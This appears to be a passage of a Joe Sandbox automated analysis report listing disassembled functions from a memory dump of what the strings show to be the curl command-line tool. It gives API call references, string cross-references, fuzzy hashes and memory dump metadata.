free.MSVCRT ref: 00362ABF
free.MSVCRT ref: 00362AE5
free.MSVCRT ref: 00362AFD
free.MSVCRT ref: 00362B26
free.MSVCRT ref: 00362B38
free.MSVCRT ref: 00362B4A
free.MSVCRT ref: 00362B53
free.MSVCRT ref: 00362B82
free.MSVCRT ref: 00362B9A
free.MSVCRT ref: 00362BB2
free.MSVCRT ref: 00362BCA
free.MSVCRT ref: 00362BE2
free.MSVCRT ref: 00362BFA
free.MSVCRT ref: 00362C12
free.MSVCRT ref: 00362C2A
free.MSVCRT ref: 00362C42
free.MSVCRT ref: 00362C5A
free.MSVCRT ref: 00362C72
free.MSVCRT ref: 00362C8A
free.MSVCRT ref: 00362CA2
free.MSVCRT ref: 00362CBA
free.MSVCRT ref: 00362CD2
free.MSVCRT ref: 00362CEA
free.MSVCRT ref: 00362D02
free.MSVCRT ref: 00362D1A
free.MSVCRT ref: 00362D32
free.MSVCRT ref: 00362D4A
free.MSVCRT ref: 00362D62
free.MSVCRT ref: 00362D7A
free.MSVCRT ref: 00362D92
free.MSVCRT ref: 00362DAA
free.MSVCRT ref: 00362DC2
free.MSVCRT ref: 00362DDA
free.MSVCRT ref: 00362DF2
free.MSVCRT ref: 00362E0A
free.MSVCRT ref: 00362E22
free.MSVCRT ref: 00362E3A
free.MSVCRT ref: 00362E4F
free.MSVCRT ref: 00362EFB
free.MSVCRT ref: 00362F13
free.MSVCRT ref: 00362F2B
free.MSVCRT ref: 00362F43
free.MSVCRT ref: 00362F5B
free.MSVCRT ref: 00362F64

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction ID: 766c1a95619f7299544e65f533c4d4f02f11d85607ff08e876be0b5c235f95d3
Opcode Fuzzy Hash: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction Fuzzy Hash: F6F113F5800B819BEB31AF21DC0A787FAB1BF50304F14493DE5AE29261E776B518DB52

Function 0036F390 Relevance: 58.2, APIs: 26, Strings: 7, Instructions: 487
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 0036F3D4
fopen.MSVCRT ref: 0036F414
fclose.MSVCRT ref: 0036F421
free.MSVCRT ref: 0036F49A
strcmp.MSVCRT ref: 0036F4AA
fopen.MSVCRT ref: 0036F4BC
fgets.MSVCRT ref: 0036F527
strlen.MSVCRT ref: 0036F538
strlen.MSVCRT ref: 0036F545
realloc.MSVCRT ref: 0036F553
strcpy.MSVCRT(00000000,?), ref: 0036F56B

Strings

%s:%d: warning: '%s' %s, xrefs: 0036F817
_curlrc, xrefs: 0036F3DC, 0036F3F0, 0036F42D, 0036F47E, 0036F4A9, 0036F4BB
<stdin>, xrefs: 0036F7F3
-, xrefs: 0036F663
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 0036F90E
%s%s%s, xrefs: 0036F3FB
%s%s, xrefs: 0036F488

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$fopen$fclosefgetsfreereallocstrcmpstrcpy
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$-$<stdin>$_curlrc
API String ID: 595318844-3017759249
Opcode ID: 7fd837ad689b9e06459a3e860c06f990bd69e3fabec906714200e758eab9300b
Instruction ID: 7392758a40d1974ba1d2dfa0b8b01c2e28f81bb2a5a8c7882e85923340f83820
Opcode Fuzzy Hash: 7fd837ad689b9e06459a3e860c06f990bd69e3fabec906714200e758eab9300b
Instruction Fuzzy Hash: BDE138B19083815FDB27AE21BC8577B77D99F82304F098478E8868B25BE625DD05C773

Function 003663E5 Relevance: 51.1, APIs: 26, Strings: 3, Instructions: 366
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strchr.MSVCRT ref: 00366408
strchr.MSVCRT ref: 00366417
strcmp.MSVCRT ref: 0036643D
fopen.MSVCRT ref: 00366453
strcmp.MSVCRT ref: 003668F9
fopen.MSVCRT ref: 00366912
_strdup.MSVCRT(005F43F6), ref: 00366F57
fclose.MSVCRT ref: 00366FBD
_strdup.MSVCRT(00000001), ref: 00366FD9
strlen.MSVCRT ref: 00366FF0
free.MSVCRT ref: 00367053
strlen.MSVCRT ref: 00367075
malloc.MSVCRT ref: 00367086
malloc.MSVCRT ref: 00367126
memcpy.MSVCRT(00000000,?,?), ref: 00367141
memcpy.MSVCRT(00000001,?,?), ref: 0036715F
free.MSVCRT ref: 00367173

Strings

Couldn't read data from file "%s", this makes an empty POST., xrefs: 00366927, 00367001
%.*s=%s, xrefs: 003670A8
b, xrefs: 00366EDB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfopenfreemallocmemcpystrchrstrcmpstrlen$fclose
String ID: %.*s=%s$Couldn't read data from file "%s", this makes an empty POST.$b
API String ID: 3267589696-3773282534
Opcode ID: c63dfdca7e87a783c30d718ca5e0aea1284dd1b3687ea4135850cbe4ab0e6a38
Instruction ID: 984337a6d145e99a6bc74cf4a14b1e8cd5a303c6b9fcc197a4d7581d540de513
Opcode Fuzzy Hash: c63dfdca7e87a783c30d718ca5e0aea1284dd1b3687ea4135850cbe4ab0e6a38
Instruction Fuzzy Hash: 71C1E8F1D04341ABDB12AF209C46B6B7AE8AF94384F054838F9459B255FB36DD14C7A3

Function 00381990 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 94
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000002,?,00000003,?,0037C0D5,security.dll,?,00000002,00373B35), ref: 00381999
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 003819B5
strpbrk.MSVCRT ref: 003819C3
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 003819E1
LoadLibraryExA.KERNELBASE(?,00000000,00000800,?,00000002,00373B35), ref: 003819F3
LoadLibraryA.KERNEL32(?,0037C0D5,security.dll,?,00000002,00373B35), ref: 003819FB
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00381A0A
strlen.MSVCRT ref: 00381A1A
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00381A3A
strlen.MSVCRT ref: 00381A45
strlen.MSVCRT ref: 00381A54
strcpy.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000002,00373B35), ref: 00381A65
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000002,00373B35), ref: 00381A7B

Strings

AddDllDirectory, xrefs: 003819DB
kernel32, xrefs: 00381994
LoadLibraryExA, xrefs: 003819AF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: LibraryLoadstrlen$AddressDirectoryProcSystem$HandleModulestrcpystrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 1231326539-3327535076
Opcode ID: b72aa5d26281b8e6e67412db9ff727ec3f0f817fab157af81c3c6090ded6e26e
Instruction ID: 2a46029fadc8a13371d6249fc1eb3fc562be96cfbad221e2add824197320d27c
Opcode Fuzzy Hash: b72aa5d26281b8e6e67412db9ff727ec3f0f817fab157af81c3c6090ded6e26e
Instruction Fuzzy Hash: 1E21D6F1A413116BEB1DBB31EC4AF2B3A5DAF44B41F0A1634FD06D5181FAA9D8058372

Function 00374700 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(?,?,0000002E), ref: 00374747
getpeername.WS2_32(?,?,00000080), ref: 003747CF
WSAGetLastError.WS2_32 ref: 003747D9
getsockname.WS2_32(?,?,00000080), ref: 00374814
WSAGetLastError.WS2_32 ref: 0037481E
memcpy.MSVCRT(?,?,0000002E), ref: 0037486E
_errno.MSVCRT ref: 003748A2
_errno.MSVCRT ref: 003748C7

Strings

getpeername() failed with errno %d: %s, xrefs: 003747ED
ssloc inet_ntop() failed with errno %d: %s, xrefs: 003748DC
ssrem inet_ntop() failed with errno %d: %s, xrefs: 003748B7
getsockname() failed with errno %d: %s, xrefs: 00374832

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLast_errnomemcpy$getpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 4028824192-670633250
Opcode ID: b770c6a2d5d903d28e02717d80d0dd15a52138e36e0ed3e5f5dc226d4ef88bf6
Instruction ID: ecb093641c7bb8dba092f0e6a5f2fc6d508ca2b0124151e0d7fe81f149b0cdf5
Opcode Fuzzy Hash: b770c6a2d5d903d28e02717d80d0dd15a52138e36e0ed3e5f5dc226d4ef88bf6
Instruction Fuzzy Hash: 61518AB5500244AFDB159F20DC85FA633ADEF8A304F0980B9FD098F256EB75A945CB62

Function 003696B0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNELBASE(CURL_HOME,?,00000400), ref: 003696C4
_strdup.MSVCRT(?,?,00000400), ref: 003696DA
GetEnvironmentVariableA.KERNEL32(HOME,?,00000400,?,00000400), ref: 003696F1
_strdup.MSVCRT(?,?,00000400,?,00000400), ref: 00369707

Strings

APPDATA, xrefs: 00369713
HOME, xrefs: 003696EC
CURL_HOME, xrefs: 003696BF
%USERPROFILE%\Application Data, xrefs: 00369726

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: EnvironmentVariable_strdup
String ID: %USERPROFILE%\Application Data$APPDATA$CURL_HOME$HOME
API String ID: 3075022039-734137483
Opcode ID: 44969d9e30415f47c41305b796373b15ae8b974bd359d331408576d3a3d3c80c
Instruction ID: 832515757cc0d55a17ecfa6b2a5551b5aeed56d2ba8866d2e741afd1932c3324
Opcode Fuzzy Hash: 44969d9e30415f47c41305b796373b15ae8b974bd359d331408576d3a3d3c80c
Instruction Fuzzy Hash: C7F09691A081511BE7363E21AC0A7BA3D1D9F61754F058431EB89DE1CBF969894282EB

Function 00369A20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleMode.KERNELBASE(00000003), ref: 00369A2F
malloc.MSVCRT ref: 00369A59

Part of subcall function 00369DE0: fwrite.MSVCRT ref: 00369E00

free.MSVCRT ref: 00369AD8
strcmp.MSVCRT ref: 00369AF0
SetConsoleMode.KERNELBASE ref: 00369B69

Strings

--dump-module-paths, xrefs: 00369AE8
error initializing curl library, xrefs: 00369A88

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ConsoleMode$freefwritemallocstrcmp
String ID: --dump-module-paths$error initializing curl library
API String ID: 106277626-1789877276
Opcode ID: 9c05bbf04d1ed476c41ca7672434b10f53c7fedd83e9196d087afd947dddadc8
Instruction ID: b8ad7dc1a39c5efc87ad3d9b67fb7ef280a04cfd46f867e53bd2cf4b83cff01e
Opcode Fuzzy Hash: 9c05bbf04d1ed476c41ca7672434b10f53c7fedd83e9196d087afd947dddadc8
Instruction Fuzzy Hash: AC11DAF1D40245ABDF01ABA4FC0676E777AAF40354F054132F909EB255EA31DA54C792

Function 003691C0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 146
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00369211
malloc.MSVCRT ref: 0036926D
strcmp.MSVCRT ref: 00369353

Strings

n, xrefs: 0036936D
--url, xrefs: 003692DB
option %s: %s, xrefs: 00369361
-, xrefs: 00369201
%s, xrefs: 00369378

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strcmp$malloc
String ID: %s$-$--url$option %s: %s$n
API String ID: 2681023970-2553401801
Opcode ID: 80e2e33aa548bc33dc59d738430918a369f2d6c94b54544ae2e8b578d06e95c7
Instruction ID: 7678344d0ed38799dd910925620d3719080be0e58ae2dbafbcfe838f978e0661
Opcode Fuzzy Hash: 80e2e33aa548bc33dc59d738430918a369f2d6c94b54544ae2e8b578d06e95c7
Instruction Fuzzy Hash: 3041D6759046056FD7129B24C841B2BB7ECFF89704F16852AF8489B355E731ED00CB92

Function 0036E7E0 Relevance: 12.1, APIs: 8, Instructions: 81
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fgets.MSVCRT ref: 0036E809
strchr.MSVCRT ref: 0036E823
strchr.MSVCRT ref: 0036E835
strlen.MSVCRT ref: 0036E845
realloc.MSVCRT ref: 0036E855
strcpy.MSVCRT(00000000), ref: 0036E86B
fgets.MSVCRT ref: 0036E880
free.MSVCRT ref: 0036E8AB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fgetsstrchr$freereallocstrcpystrlen
String ID:
API String ID: 606539986-0
Opcode ID: 978d67c761a426b33e4588fadcac0b47cd6f6cd7d760d1bd8abec25bb8797e5e
Instruction ID: 9d7ce0bd3bf56039f47eb5fc9827d07594fcd53be578f5ff176b751655575a9c
Opcode Fuzzy Hash: 978d67c761a426b33e4588fadcac0b47cd6f6cd7d760d1bd8abec25bb8797e5e
Instruction Fuzzy Hash: 27112BB5F0024527EB2F6576AC06BEB39995FC6700F094038FD488B285FA59D909C1F7

Function 0036125B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 003612E2
strlen.MSVCRT ref: 0036131B
malloc.MSVCRT ref: 00361326
memcpy.MSVCRT ref: 0036133C
_cexit.MSVCRT ref: 003613A8

Strings

!c(, xrefs: 0036135A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 4d9d0907241b8f4faed51ab8d00c29cc0f705d9b7673ffe8033e6b40438696b9
Instruction ID: ceab5ce611d411a78b6602e00c82b2864ecbd26b6cafe9a5ccf8fb3b2dc2f795
Opcode Fuzzy Hash: 4d9d0907241b8f4faed51ab8d00c29cc0f705d9b7673ffe8033e6b40438696b9
Instruction Fuzzy Hash: F931CEB5A04355CFCB15EF65D891359BBF2FB45304F198A2EE984CB311EB38A894CB81

Function 00361296 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 003612E2
strlen.MSVCRT ref: 0036131B
malloc.MSVCRT ref: 00361326
memcpy.MSVCRT ref: 0036133C
_cexit.MSVCRT ref: 003613A8

Strings

!c(, xrefs: 0036135A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 86ea2c17dbe74a3eaf98adf5ccd7b2a0e541f93573a07f39431fd26da8ee6a29
Instruction ID: da5770099df5c93f662a56f55de91f66a9c6a930edd67cbff62bca9c24d9a7c2
Opcode Fuzzy Hash: 86ea2c17dbe74a3eaf98adf5ccd7b2a0e541f93573a07f39431fd26da8ee6a29
Instruction Fuzzy Hash: 0A31ABB5A00355CFCB11EF25D891249BBF2FB45304F158A2EE9889B311EB34A995CF90

Function 00361286 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 003612E2
strlen.MSVCRT ref: 0036131B
malloc.MSVCRT ref: 00361326
memcpy.MSVCRT ref: 0036133C
_cexit.MSVCRT ref: 003613A8

Strings

!c(, xrefs: 0036135A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 2d343df0cc504108bec6e41bbf998e30df71da13578334f0b3e6766d5928adf3
Instruction ID: a74f66e399b8406a8e0c15feccd15c3e5207038f1188ad04037175dcb67af647
Opcode Fuzzy Hash: 2d343df0cc504108bec6e41bbf998e30df71da13578334f0b3e6766d5928adf3
Instruction Fuzzy Hash: 0D319AB5A00355CFCB15EF65D88064DBBF1FB49304F158A2EE9889B311EB34A995CF81

Function 003622E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 0036237B
strlen.MSVCRT ref: 0036238D
GetStdHandle.KERNEL32(000000F4), ref: 003623C9
GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 003623D8

Strings

COLUMNS, xrefs: 00362362

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreenstrlenstrtol
String ID: COLUMNS
API String ID: 4155930958-2475376301
